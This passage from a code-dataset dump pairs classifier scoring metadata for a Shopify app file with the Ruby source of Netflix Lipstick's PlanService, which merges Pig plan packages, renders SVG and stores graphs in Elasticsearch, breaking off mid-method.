"noise_severity": 0.9885150195111423, "missing_content_severity": 0.9964754550885216, "factual_density": 0.5286150634132893, "pretraining_utility": 0.5298489627615196, "math_density": 0.9748138033310254, "code_density": 0.8782763780926743, "reasoning_density": 0.0, "education_level": 0.5054263743786508, "creative_writing_quality": 0.999535203193651, "primary_topic": 0.987984977882945, "secondary_topic": 0.6474763611964772}, "probability_margin": {"primary": 0.9957858266992506, "secondary": 0.8659137175826032, "tertiary": 0.9497241538954039, "education_level": 0.30003533949232264, "creative_writing_quality": 0.9994177894645413, "primary_topic": 0.9797042498453062, "secondary_topic": 0.4043392182167399}, "raw_probabilities": {"primary": {"Academic Writing": 2.1363026464362706e-05, "Content Listing": 1.5835771127243426e-05, "Creative Writing": 9.487296744440785e-06, "Customer Support Page": 1.1179636384364899e-05, "Q&A Forum": 7.49613519026049e-06, "Discussion Thread": 4.660099141816732e-06, "Comment Section": 8.473085051390925e-06, "Missing Content": 1.4268248458279415e-05, "Knowledge Article": 8.314194808127238e-05, "Legal Notices": 2.7986392698849522e-05, "News Article": 2.8049143287484683e-06, "Organizational Announcement": 7.826389466417991e-06, "Nonfiction Writing": 5.784672819367087e-06, "Organizational About Page": 7.343208091013807e-06, "Personal About Page": 5.0930371722769145e-06, "Personal Blog": 5.101293639666088e-06, "Product Page": 6.286108268476937e-06, "Spam / Ads": 7.152135714595073e-06, "Structured Data": 0.0015033842396368717, "Technical Writing": 0.9972892109388876, "Transcript / Interview": 8.575698343026288e-06, "Tutorial / How-To Guide": 0.00012900391457423382, "User Reviews": 3.8011413291652818e-06, "Other / Unknown": 0.0008147406683863751}, "secondary": {"Academic Writing": 0.00025896586641478296, "Content Listing": 0.00020342384925675763, "Creative Writing": 0.00020403976010056478, "Customer Support Page": 0.00014825109354871892, "Q&A Forum": 0.0001005369155931021, "Discussion Thread": 8.477046693621711e-05, "Comment Section": 0.0002534437216472, "Missing Content": 0.00031999981210380316, "Knowledge Article": 0.0004917102661073446, "Legal Notices": 0.00027090697448649195, "News Article": 0.0001278814458993574, "Organizational Announcement": 0.00014686260792334997, "Nonfiction Writing": 0.000119551077460675, "Organizational About Page": 0.00017024877709556356, "Personal About Page": 0.00011070969468046144, "Personal Blog": 0.00010351627752808268, "Product Page": 0.00011477565244575382, "Spam / Ads": 0.00015907493223850857, "Structured Data": 0.045611020537778796, "Technical Writing": 0.03862910270290285, "Transcript / Interview": 0.00017467798008365807, "Tutorial / How-To Guide": 0.0006150427285400108, "User Reviews": 5.674873884612793e-05, "NONE": 0.9115247381203819}, "tertiary": {"Academic Writing": 0.00012224981447864127, "Content Listing": 8.579613963093548e-05, "Creative Writing": 8.071639525144695e-05, "Customer Support Page": 5.781632073385713e-05, "Q&A Forum": 3.117276433085789e-05, "Discussion Thread": 3.163040452040641e-05, "Comment Section": 0.00010130748981976973, "Missing Content": 0.00021450661777363948, "Knowledge Article": 0.0004317984504632555, "Legal Notices": 0.00031757625621186826, "News Article": 5.0056187110731446e-05, "Organizational Announcement": 5.132603802935581e-05, "Nonfiction Writing": 4.309113131098875e-05, "Organizational About Page": 8.046161893003754e-05, "Personal About Page": 3.569328992019855e-05, "Personal Blog": 3.579958389235504e-05, "Product Page": 4.814940032493528e-05, "Spam / Ads": 5.641515508946909e-05, "Structured Data": 0.018529139830786565, "Technical Writing": 0.010926032931565533, "Transcript / Interview": 7.36733923040382e-05, "Tutorial / How-To Guide": 0.0003218044293625642, "User Reviews": 2.04926319681764e-05, "NONE": 0.9682532937261904}, "structured_records": {"false": 0.9733291670384975, "true": 0.026670832961502543}, "procedural_steps": {"false": 0.9881620667132106, "true": 0.01183793328678935}, "worked_solution": {"false": 0.9978384207547858, "true": 0.0021615792452142125}, "contextual_dialogue": {"false": 0.9999942094778749, "true": 5.790522125117997e-06}, "content_quality": {"-2": 0.0026539806091623974, "-1": 0.005135951073565916, "0": 0.09832155165366625, "1": 0.4758854183874068, "2": 0.4180030982761986}, "noise_severity": {"0": 0.9875710923728979, "1": 0.011575102174849253, "2": 0.0005033531425059108, "3": 0.00020164111221996505, "4": 0.00014881119752706268}, "missing_content_severity": {"0": 0.9975256253474789, "1": 0.001250162900334553, "2": 0.0007994730486303747, "3": 0.0003186099180471167, "4": 0.00010612878550935565}, "factual_density": {"0": 0.0032266026490829405, "1": 0.0073767074451642056, "2": 0.08493417541559482, "3": 0.36075704014103877, "4": 0.5437054743491192}, "pretraining_utility": {"-2": 0.006789496925086556, "-1": 0.051967050267878734, "0": 0.33148968123266065, "1": 0.5013647994318754, "2": 0.10838897214249871}, "math_density": {"0": 0.9784635133124442, "1": 0.01728503586876737, "2": 0.0016337206418518002, "3": 0.0007999618574482418, "4": 0.0018177683194884628}, "code_density": {"0": 0.00026733843333055123, "1": 0.0004672870251808937, "2": 0.009379080515697944, "3": 0.12483897044852997, "4": 0.8650473235772607}, "reasoning_density": {"0": 0.48649664868657344, "1": 0.10129790570544248, "2": 0.1715594388332827, "3": 0.13391895713689858, "4": 0.10672704963780297}, "education_level": {"none": 0.0008919056982724399, "0": 0.0011938386653426673, "1": 0.0034640769890341983, "2": 0.28781997248988633, "3": 0.587855311982209, "4": 0.11877489417525539}, "creative_writing_quality": {"not_applicable": 0.9996126693280425, "-2": 4.17694781284667e-05, "-1": 6.934607770516618e-05, "0": 0.00019487986350118908, "1": 5.930358775878333e-05, "2": 2.203166486392013e-05}, "primary_topic": {"Adult & Explicit Sexual Content": 3.250084835545878e-05, "Art & Design": 5.082952862230445e-05, "Law & Crime": 5.544930859627932e-05, "Education & Careers": 2.943534373173901e-05, "Entertainment & Media": 2.565674397817366e-05, "Fashion & Beauty": 2.5744035552799612e-05, "Business, Economics & Finance": 0.008742844272910156, "Food & Dining": 3.2175150717774256e-05, "Games & Gaming": 4.8564104764342476e-05, "Electronics & Hardware": 4.8456427687732436e-05, "Health, Healthcare & Wellness": 2.7061062150029525e-05, "History & Geography": 2.7225553442529802e-05, "Home, Pets & Hobbies": 2.016588370762792e-05, "Industry & Production": 3.5004390558416634e-05, "Language, Literature & Philosophy": 3.2247263542362675e-05, "Politics & Government": 2.188078058989122e-05, "Religion & Spirituality": 2.754457511524397e-05, "Science, Mathematics & Engineering": 0.00010177347386840978, "Relationships & Community": 1.7854970891158033e-05, "Software Usage & Applications": 0.001151249586474746, "Programming & Software Engineering": 0.9884470941182164, "Sports & Fitness": 3.035291357654768e-05, "Vehicles & Transportation": 1.4530857187046243e-05, "Travel & Tourism": 3.428512310759154e-05, "Other / Uncovered Subject": 0.0008814823133375735, "Unknown / Insufficient Content": 3.859136931793425e-05}, "secondary_topic": {"Adult & Explicit Sexual Content": 0.0006514378784945188, "Art & Design": 0.0005990733884208782, "Law & Crime": 0.0012765839546835399, "Education & Careers": 0.0003959219839051673, "Entertainment & Media": 0.0004305195356558082, "Fashion & Beauty": 0.00038075735582758063, "Business, Economics & Finance": 0.25669574447218046, "Food & Dining": 0.00033849713100929087, "Games & Gaming": 0.00046144746715504287, "Electronics & Hardware": 0.0004518049361924887, "Health, Healthcare & Wellness": 0.000365664769422349, "History & Geography": 0.00030889635430982217, "Home, Pets & Hobbies": 0.00028151859570679213, "Industry & Production": 0.00033526576995422506, "Language, Literature & Philosophy": 0.00025943156120967396, "Politics & Government": 0.00030488211715379526, "Religion & Spirituality": 0.00044971487240295634, "Science, Mathematics & Engineering": 0.0004969548757805738, "Relationships & Community": 0.00019256228170948223, "Software Usage & Applications": 0.016396181327257828, "Programming & Software Engineering": 0.05541997869094908, "Sports & Fitness": 0.0002581115176812138, "Vehicles & Transportation": 0.0001578163350293884, "Travel & Tourism": 0.0004151158237111585, "Other / Uncovered Subject": 0.001641154315276471, "NONE": 0.6610349626889204}}, "probabilities": {"primary": {"Academic Writing": 2.1363026464362706e-05, "Content Listing": 1.5835771127243426e-05, "Creative Writing": 9.487296744440785e-06, "Customer Support Page": 1.1179636384364899e-05, "Q&A Forum": 7.49613519026049e-06, "Discussion Thread": 4.660099141816732e-06, "Comment Section": 8.473085051390925e-06, "Missing Content": 1.4268248458279415e-05, "Knowledge Article": 8.314194808127238e-05, "Legal Notices": 2.7986392698849522e-05, "News Article": 2.8049143287484683e-06, "Organizational Announcement": 7.826389466417991e-06, "Nonfiction Writing": 5.784672819367087e-06, "Organizational About Page": 7.343208091013807e-06, "Personal About Page": 5.0930371722769145e-06, "Personal Blog": 5.101293639666088e-06, "Product Page": 6.286108268476937e-06, "Spam / Ads": 7.152135714595073e-06, "Structured Data": 0.0015033842396368717, "Technical Writing": 0.9972892109388876, "Transcript / Interview": 8.575698343026288e-06, "Tutorial / How-To Guide": 0.00012900391457423382, "User Reviews": 3.8011413291652818e-06, "Other / Unknown": 0.0008147406683863751}, "secondary": {"Academic Writing": 0.00025896586641478296, "Content Listing": 0.00020342384925675763, "Creative Writing": 0.00020403976010056478, "Customer Support Page": 0.00014825109354871892, "Q&A Forum": 0.0001005369155931021, "Discussion Thread": 8.477046693621711e-05, "Comment Section": 0.0002534437216472, "Missing Content": 0.00031999981210380316, "Knowledge Article": 0.0004917102661073446, "Legal Notices": 0.00027090697448649195, "News Article": 0.0001278814458993574, "Organizational Announcement": 0.00014686260792334997, "Nonfiction Writing": 0.000119551077460675, "Organizational About Page": 0.00017024877709556356, "Personal About Page": 0.00011070969468046144, "Personal Blog": 0.00010351627752808268, "Product Page": 0.00011477565244575382, "Spam / Ads": 0.00015907493223850857, "Structured Data": 0.045611020537778796, "Technical Writing": 0.03862910270290285, "Transcript / Interview": 0.00017467798008365807, "Tutorial / How-To Guide": 0.0006150427285400108, "User Reviews": 5.674873884612793e-05, "NONE": 0.9115247381203819}, "tertiary": {"Academic Writing": 0.00012224981447864127, "Content Listing": 8.579613963093548e-05, "Creative Writing": 8.071639525144695e-05, "Customer Support Page": 5.781632073385713e-05, "Q&A Forum": 3.117276433085789e-05, "Discussion Thread": 3.163040452040641e-05, "Comment Section": 0.00010130748981976973, "Missing Content": 0.00021450661777363948, "Knowledge Article": 0.0004317984504632555, "Legal Notices": 0.00031757625621186826, "News Article": 5.0056187110731446e-05, "Organizational Announcement": 5.132603802935581e-05, "Nonfiction Writing": 4.309113131098875e-05, "Organizational About Page": 8.046161893003754e-05, "Personal About Page": 3.569328992019855e-05, "Personal Blog": 3.579958389235504e-05, "Product Page": 4.814940032493528e-05, "Spam / Ads": 5.641515508946909e-05, "Structured Data": 0.018529139830786565, "Technical Writing": 0.010926032931565533, "Transcript / Interview": 7.36733923040382e-05, "Tutorial / How-To Guide": 0.0003218044293625642, "User Reviews": 2.04926319681764e-05, "NONE": 0.9682532937261904}, "structured_records": {"false": 0.9733291670384975, "true": 0.026670832961502543}, "procedural_steps": {"false": 0.9881620667132106, "true": 0.01183793328678935}, "worked_solution": {"false": 0.9978384207547858, "true": 0.0021615792452142125}, "contextual_dialogue": {"false": 0.9999942094778749, "true": 5.790522125117997e-06}, "content_quality": {"-2": 0.002653980609162398, "-1": 0.005135951073565917, "0": 0.09832155165366627, "1": 0.47588541838740683, "2": 0.41800309827619864}, "noise_severity": {"0": 0.9875710923728979, "1": 0.011575102174849253, "2": 0.0005033531425059108, "3": 0.00020164111221996505, "4": 0.00014881119752706268}, "missing_content_severity": {"0": 0.9975256253474787, "1": 0.0012501629003345528, "2": 0.0007994730486303744, "3": 0.00031860991804711665, "4": 0.00010612878550935562}, "factual_density": {"0": 0.003226602649082941, "1": 0.007376707445164206, "2": 0.08493417541559484, "3": 0.3607570401410388, "4": 0.5437054743491193}, "pretraining_utility": {"-2": 0.006789496925086556, "-1": 0.051967050267878734, "0": 0.33148968123266065, "1": 0.5013647994318754, "2": 0.10838897214249871}, "math_density": {"0": 0.9784635133124442, "1": 0.01728503586876737, "2": 0.0016337206418518002, "3": 0.0007999618574482418, "4": 0.0018177683194884628}, "code_density": {"0": 0.00026733843333055123, "1": 0.0004672870251808937, "2": 0.009379080515697944, "3": 0.12483897044852997, "4": 0.8650473235772607}, "reasoning_density": {"0": 0.48649664868657333, "1": 0.10129790570544245, "2": 0.17155943883328267, "3": 0.13391895713689855, "4": 0.10672704963780294}, "education_level": {"none": 0.0008919056982724399, "0": 0.0011938386653426673, "1": 0.0034640769890341983, "2": 0.28781997248988633, "3": 0.587855311982209, "4": 0.11877489417525539}, "creative_writing_quality": {"not_applicable": 0.9996126693280425, "-2": 4.17694781284667e-05, "-1": 6.934607770516618e-05, "0": 0.00019487986350118908, "1": 5.930358775878333e-05, "2": 2.203166486392013e-05}, "primary_topic": {"Adult & Explicit Sexual Content": 3.2500848355458776e-05, "Art & Design": 5.0829528622304435e-05, "Law & Crime": 5.5449308596279305e-05, "Education & Careers": 2.9435343731739004e-05, "Entertainment & Media": 2.5656743978173653e-05, "Fashion & Beauty": 2.5744035552799606e-05, "Business, Economics & Finance": 0.008742844272910154, "Food & Dining": 3.217515071777425e-05, "Games & Gaming": 4.856410476434246e-05, "Electronics & Hardware": 4.845642768773242e-05, "Health, Healthcare & Wellness": 2.706106215002952e-05, "History & Geography": 2.7225553442529796e-05, "Home, Pets & Hobbies": 2.0165883707627915e-05, "Industry & Production": 3.500439055841663e-05, "Language, Literature & Philosophy": 3.224726354236267e-05, "Politics & Government": 2.1880780589891218e-05, "Religion & Spirituality": 2.7544575115243964e-05, "Science, Mathematics & Engineering": 0.00010177347386840975, "Relationships & Community": 1.785497089115803e-05, "Software Usage & Applications": 0.0011512495864747457, "Programming & Software Engineering": 0.9884470941182162, "Sports & Fitness": 3.0352913576547674e-05, "Vehicles & Transportation": 1.453085718704624e-05, "Travel & Tourism": 3.428512310759153e-05, "Other / Uncovered Subject": 0.0008814823133375733, "Unknown / Insufficient Content": 3.859136931793424e-05}, "secondary_topic": {"Adult & Explicit Sexual Content": 0.0006514378784945188, "Art & Design": 0.0005990733884208782, "Law & Crime": 0.0012765839546835399, "Education & Careers": 0.0003959219839051673, "Entertainment & Media": 0.0004305195356558082, "Fashion & Beauty": 0.00038075735582758063, "Business, Economics & Finance": 0.25669574447218046, "Food & Dining": 0.00033849713100929087, "Games & Gaming": 0.00046144746715504287, "Electronics & Hardware": 0.0004518049361924887, "Health, Healthcare & Wellness": 0.000365664769422349, "History & Geography": 0.00030889635430982217, "Home, Pets & Hobbies": 0.00028151859570679213, "Industry & Production": 0.00033526576995422506, "Language, Literature & Philosophy": 0.00025943156120967396, "Politics & Government": 0.00030488211715379526, "Religion & Spirituality": 0.00044971487240295634, "Science, Mathematics & Engineering": 0.0004969548757805738, "Relationships & Community": 0.00019256228170948223, "Software Usage & Applications": 0.016396181327257828, "Programming & Software Engineering": 0.05541997869094908, "Sports & Fitness": 0.0002581115176812138, "Vehicles & Transportation": 0.0001578163350293884, "Travel & Tourism": 0.0004151158237111585, "Other / Uncovered Subject": 0.001641154315276471, "NONE": 0.6610349626889204}}, "probability_diagnostics": {"primary": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "secondary": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "tertiary": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "structured_records": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "procedural_steps": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "worked_solution": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "contextual_dialogue": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "content_quality": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "noise_severity": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "missing_content_severity": {"raw_sum": 1.0000000000000002, "mass_delta": 2.220446049250313e-16, "missing_mass": 0.0, "excess_mass": 2.220446049250313e-16, "valid": true, "normalized": false}, "factual_density": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "pretraining_utility": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "math_density": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "code_density": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "reasoning_density": {"raw_sum": 1.0000000000000002, "mass_delta": 2.220446049250313e-16, "missing_mass": 0.0, "excess_mass": 2.220446049250313e-16, "valid": true, "normalized": false}, "education_level": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "creative_writing_quality": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "primary_topic": {"raw_sum": 1.0000000000000002, "mass_delta": 2.220446049250313e-16, "missing_mass": 0.0, "excess_mass": 2.220446049250313e-16, "valid": true, "normalized": false}, "secondary_topic": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}}, "usage": {"input_tokens": 10203, "output_tokens": 19}, "cache": {"status": "unreported", "cached_tokens": null, "cache_write_tokens": null, "input_tokens": 10203, "cached_share": null, "cache_discount_reported": null, "reported_cost_usd": null}, "response_metadata": {"model": "decision-models/baseten-mammoth-27b-latest"}, "scored_at_utc": "2026-10-25T18:36:12.592208+00:00", "scoring_key_slot": "assistant_1", "dataset_uid": "96ee1f9b-7860-421f-8b85-f77f44301bab", "dataset_revision": "62077439f2c81c79b71c084d1057ee1d042369a3", "dataset_config": "default", "content_variant": "content", "source_record_sha256": "5061299c10994a04c2fc01fed53209639f07a6048921ff6faafe0ce40f675d8b", "source_metadata": {"uuid": "96ee1f9b-7860-421f-8b85-f77f44301bab", "repo_name": "Shopify/shopify_app", "relative_path": "lib/shopify_app/controller_concerns/ensure_billing.rb", "category": "WEB", "algo_rel_score": 0.9889430999755859, "quality_score": 7.403885364532471, "source_meta": {"github_metadata": {"branch": "main", "commit_count": 2690, "repo_created_at": "2008-10-09T15:10:52.000Z", "is_fork": false, "is_org_owned": true, "forked_from": null, "stars": 1825, "forks": 713, "issues": 20, "pull_requests": 9}, "file_meta": {"content_id": "635d387b924ddb12c4dea0e5f91c5ca7a1075f85", "size_bytes": 7381, "file_timestamp": 1752182558, "language": "ruby", "is_vendor": false, "license_type": "no_license", "detected_licenses": []}, "commit_id": "c78bebeae923c0bc699d318620d92301c7666978"}}, "parsed_source_meta": {"github_metadata": {"branch": "main", "commit_count": 2690, "repo_created_at": "2008-10-09T15:10:52.000Z", "is_fork": false, "is_org_owned": true, "forked_from": null, "stars": 1825, "forks": 713, "issues": 20, "pull_requests": 9}, "file_meta": {"content_id": "635d387b924ddb12c4dea0e5f91c5ca7a1075f85", "size_bytes": 7381, "file_timestamp": 1752182558, "language": "ruby", "is_vendor": false, "license_type": "no_license", "detected_licenses": []}, "commit_id": "c78bebeae923c0bc699d318620d92301c7666978", "url": "https://github.com/Shopify/shopify_app/blob/c78bebeae923c0bc699d318620d92301c7666978/lib/shopify_app/controller_concerns/ensure_billing.rb"}, "gpt4o_tokens": 1556, "dataset_split": "ruby", "probability_weighted_scores": {"content_quality": 1.3014477026479134, "noise_severity": 0.01378197658662922, "missing_content_severity": 0.004229453893774074, "factual_density": 3.4343380760959468, "pretraining_utility": 0.6525966995988209, "math_density": 0.030223436002769548, "code_density": 3.8539316537112094, "reasoning_density": 1.2730818533339152, "education_level": 2.8202849628455695, "creative_writing_quality": -0.12784455262790584}, "score_applicability": {"education_level": 0.9991080943017275, "creative_writing_quality": 0.0003873306719575254}} {"source_group": "ruby", "source": "openbmb/UltraData-Stack-v3-L2/ruby", "domain": "github.com", "language": "ruby", "url": "https://github.com/Netflix/Lipstick/blob/d610c5d224c68e29940e6cbbb765ddb0f9f01359/lipstick-server/app/controllers/job_controller.rb", "id": "ruby-0-dabded7337efeb95db71b0792543bad0", "text": "#\n# Copyright 2014 Netflix, Inc.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n#\nimport 'java.util.Properties'\nimport 'org.codehaus.jackson.map.ObjectMapper'\nimport 'org.codehaus.jackson.map.annotate.JsonSerialize'\nimport 'com.netflix.lipstick.Pig2DotGenerator'\nimport 'com.netflix.lipstick.model.P2jPlanStatus'\nimport 'com.netflix.lipstick.model.P2jPlanPackage'\nimport 'com.netflix.lipstick.model.P2jSampleOutputList'\n\nclass PlanService\n @@es = ElasticSearchAdaptor.instance\n @@om = ObjectMapper.new\n # don't index empty&null values\n @@om.set_serialization_inclusion(JsonSerialize::Inclusion::NON_NULL)\n\n #\n # Wrap object mapper deserialization of json\n # @param json [String] JSON encoded string to\n # deserialize\n # @param java_class [Class] Java class to\n # instantiate\n # @return [Object]\n #\n def self.p2j_from_json json, java_class\n ser = nil\n begin\n ser = @@om.read_value(json, java_class)\n rescue => e\n $stderr.puts(\"Error deserializing: [#{$!}]\")\n $stderr.puts(e.backtrace)\n end\n return ser\n end\n\n def self.get_max_uid plan\n # take advantage of the fact that uid values are just\n # stringified integers\n plan.keys.map{|k| k.to_i}.sort.last\n end\n\n #\n # Combine p2j plan packages\n #\n def self.combine p1, p2\n op_uid = get_max_uid(p1.get_optimized.get_plan) + 1\n p2_optimized = p2.get_optimized.get_plan.inject({}) do |plan, kv|\n uid, op = kv\n op.uid = op_uid.to_s \n plan[op_uid.to_s] = op\n op_uid += 1\n plan\n end\n p2_optimized.each do |uid, op|\n op.successors = op.successors.map do |s|\n succ = p2.optimized.plan.get(s)\n succ.uid\n end\n op.predecessors = op.predecessors.map do |p|\n pred = p2.optimized.plan.get(p)\n pred.uid\n end\n end\n \n op_uid = get_max_uid(p1.get_unoptimized.get_plan) + 1\n p2_unoptimized = p2.get_unoptimized.get_plan.inject({}) do |plan, kv|\n uid, op = kv\n op.uid = op_uid.to_s\n plan[op_uid.to_s] = op\n op_uid += 1\n plan\n end\n p2_unoptimized.each do |uid, op|\n op.successors = op.successors.map do |s|\n succ = p2.unoptimized.plan.get(s)\n succ.uid\n end\n op.predecessors = op.predecessors.map do |p|\n pred = p2.unoptimized.plan.get(p)\n pred.uid\n end\n end\n \n p1_optimized = p1.get_optimized\n p1_unoptimized = p1.get_unoptimized\n p1_optimized_plan = p1_optimized.get_plan\n p1_unoptimized_plan = p1_unoptimized.get_plan\n \n p1_optimized_plan.put_all(p2_optimized)\n p1_unoptimized_plan.put_all(p2_unoptimized)\n p1_optimized.set_plan(p1_optimized_plan)\n p1_unoptimized.set_plan(p1_unoptimized_plan)\n \n p1.set_optimized(p1_optimized)\n p1.set_unoptimized(p1_unoptimized)\n return p1\n end\n \n #\n # @deprecated\n # Save P2jPlanPackage representation of workflow. Currently\n # it's saved both as a P2jPlanPackage as well as translated to\n # the new representation, {Lipstick::Graph}, and saved.\n # @param params [Hash] POST request parameters\n # @param json [String] JSON encoded P2jPlanPackage object\n # @return [Hash]\n #\n def self.save params, json\n ser = p2j_from_json(json, P2jPlanPackage.java_class)\n return unless ser\n\n uuid = ser.get_uuid\n plan = @@es.get(uuid, 'plan')\n ser = combine(p2j_from_json(plan, P2jPlanPackage.java_class), ser) if plan\n \n # Translate to new representation and save\n #\n if plan\n save_p2j_graph(@@om.write_value_as_string(ser))\n else\n save_p2j_graph(json)\n end\n #\n\n svg = Pig2DotGenerator.new(ser.get_optimized).generate_plan(\"svg\")\n ser.get_optimized.set_svg(svg)\n\n svg = Pig2DotGenerator.new(ser.get_unoptimized).generate_plan(\"svg\")\n ser.get_unoptimized.set_svg(svg)\n\n if @@es.save(uuid, 'plan', @@om.write_value_as_string(ser))\n return {\n :uuid => uuid,\n :aliases => ser.get_optimized.get_plan.map{|kv| kv.last.get_alias}\n }\n else\n return {\n :error => \"failed to save data\"\n }\n end\n end\n\n #\n # Translate an update to a P2jPlanPackage object to\n # an update to the corresponding {Lipstick::Graph} object\n # @param params [Hash] Request parameters. Required :id\n # @param json [String] JSON encoded P2jPlanPackage object\n # @return [Hash]\n #\n def self.update_p2j_graph params, json\n begin\n new_json = Lipstick::Adapter::P2jPlanPackage.from_json(json).to_graph.to_json\n update_graph(params, new_json)\n rescue ArgumentError => e\n return {\n :error => e.to_s\n }\n end \n end\n\n #\n # Translate a P2jPlanPackage object to a {Lipstick::Graph}\n # and save\n # @param json [String] JSON encoded P2jPlanPackage object\n # @return [Hash]\n #\n def self.save_p2j_graph json\n begin \n graph = Lipstick::Adapter::P2jPlanPackage.from_json(json).to_graph\n store(graph)\n rescue ArgumentError => e\n return {\n :error => e.to_s\n }\n end \n end\n\n #\n # Save {Lipstick::Graph}\n # @param params [Hash] Request parameters\n # @param json [String] JSON encorded {Lipstick::Graph}\n # @return [Hash]\n #\n def self.save_graph params, json\n begin\n graph = Lipstick::Graph.from_json(json)\n store(graph)\n rescue ArgumentError => e\n return {\n :error => e.to_s\n }\n end \n end\n \n #\n # Store {Lipstick::Graph} to Elasticsearch\n # @param graph [Lipstick::Graph]\n # @return [Hash]\n #\n def self.store graph\n graph.updated_at = Time.now.to_i*1000\n if @@es.save(graph.id.to_s, 'graph', graph.to_json)\n return {\n :id => graph.id.to_s\n }\n else\n return {\n :error => \"failed to save data\"\n }\n end\n end\n\n #\n # @deprecated\n # Adds sample output to a P2jPlanPackage object\n # @param id [String] Plan uuid to update with sample data\n # @param job_id [String] Specific map-reduce job_id to\n # update\n # @param json [String] JSON encoded P2jSampleOutputList object\n # @return [Hash]\n #\n def self.add_sample_output id, job_id, json\n plan = @@es.get(id, 'plan')\n return unless plan\n \n sample_output_list = p2j_from_json(json, P2jSampleOutputList.java_class)\n return unless sample_output_list\n \n plan = p2j_from_json(plan, P2jPlanPackage.java_class)\n return unless plan\n \n output_map = plan.getSampleOutputMap || {}\n output_map[job_id] = sample_output_list\n plan.setSampleOutputMap(output_map)\n\n updated = @@om.write_value_as_string(plan)\n\n # Update {Lipstick::Graph} representation\n update_p2j_graph({:id => id}, updated)\n \n if @@es.save(id, 'plan', updated)\n return {:uuid => id, :jobId => job_id}\n else\n return {:error => \"failed to save sampleoutput\"}\n end \n end\n\n def self.list params\n @@es.list_plans(params)\n end\n\n def self.list_graphs params\n @@es.list_graphs(params)\n end\n\n #\n # @deprecated\n # Updates plan status for a P2jPlanPackage object\n # @param params [Hash] Request parameters. Requires :id\n # @param json [String] JSON encoded P2jPlanStatus object\n # @return [Hash]\n #\n def self.update params, json\n plan = @@es.get(params[:id], 'plan')\n return unless plan\n\n plan = p2j_from_json(plan, P2jPlanPackage.java_class)\n return unless plan\n\n status = p2j_from_json(json, P2jPlanStatus.java_class)\n return unless status\n \n plan.status.update_with(status)\n updated = @@om.write_value_as_string(plan)\n\n # Update {Lipstick::Graph} representation\n update_p2j_graph(params, updated)\n\n if @@es.save(params[:id], 'plan', updated)\n return {:status => \"updated uuid #{params[:id]}\"}\n else \n return\n end \n end\n\n def self.update_graph_node params, json\n graph = @@es.get(params[:id], 'graph')\n return unless graph\n\n begin\n graph = Lipstick::Graph.from_json(graph) \n graph.update_node!(params[:nodeId], JSON.parse(json)) \n store(graph)\n rescue ArgumentError => e\n return {\n :error => e.to_s\n } \n end \n end\n\n def self.update_graph_node_group params, json\n graph = @@es.get(params[:id], 'graph')\n return unless graph\n\n begin\n graph = Lipstick::Graph.from_json(graph) \n graph.update_node_group!(params[:nodeGroupId], JSON.parse(json)) \n store(graph)\n rescue ArgumentError => e\n return {\n :error => e.to_s\n }\n end \n end\n\n def self.update_graph_edge params, json\n return unless (params[:u] && params[:v])\n \n graph = @@es.get(params[:id], 'graph')\n return unless graph\n\n begin\n graph = Lipstick::Graph.from_json(graph) \n graph.update_edge!(params[:u], params[:v], JSON.parse(json)) \n store(graph)\n rescue ArgumentError => e\n return {\n :error => e.to_s\n }\n end \n end\n \n #\n # Updates graph status.\n # @fixme Not a complete update of graph. Needs\n # a more intelligent merge of updated data.\n #\n def self.update_graph params, json\n graph = @@es.get(params[:id], 'graph')\n return unless graph\n\n graph = Lipstick::Graph.from_json(graph)\n updates = graph.updates\n data = JSON.parse(json)\n graph.status = data['status'] if data['status']\n\n begin\n if (data['node_groups'] && data['node_groups'].is_a?(Array))\n data['node_groups'].each do |ng|\n ng_id = ng['id']\n if updates > 0\n ng_id = ng_id + \"_#{updates}\"\n ng['id'] = ng_id\n ng['children'].map! do |child|\n \"#{child}_#{updates}\"\n end\n end\n graph.update_node_group!(ng_id, ng)\n end \n end\n\n if (data['nodes'] && data['nodes'].is_a?(Array))\n data['nodes'].each do |n|\n n_id = n['id']\n if updates > 0\n n_id = n_id + \"_#{updates}\"\n n['id'] = n_id\n if n.has_key? 'child'\n n['child'] = n['child'] + \"_#{updates}\"\n end\n end\n graph.update_node!(n_id, n)\n end \n end\n\n if (data['edges'] && 